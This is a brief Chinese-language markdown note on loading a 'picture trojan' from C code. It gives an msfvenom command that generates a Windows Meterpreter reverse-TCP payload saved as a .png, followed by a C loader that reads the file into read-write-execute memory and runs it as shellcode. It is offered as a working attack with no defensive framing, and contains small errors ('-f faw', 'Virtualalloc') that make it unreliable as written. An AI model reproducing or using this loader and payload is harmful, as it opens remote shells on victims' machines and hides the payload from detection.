c代码加载图片马.md

msf生成图片格式
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f faw -o /root/1.png
生成解决方案即可。
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h> 
#include<stdlib.h> 
#include<stdio.h> 
int main(void)
{
	FILE* fp; 
	size_t size;
	unsigned char* buffer;
	fp = fopen("1.png","rb"); 
	fseek(fp,0,SEEK_END);
	size =ftell(fp); 
	fseek(fp, 0, SEEK_SET);
	buffer =(unsigned char*)malloc(size); 
	fread(buffer, size, 1, fp);
	void* exec = Virtualalloc(0, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); 
	memcpy(exec, buffer, size);
	((void(*)()) exec)(); 
	return 0;
}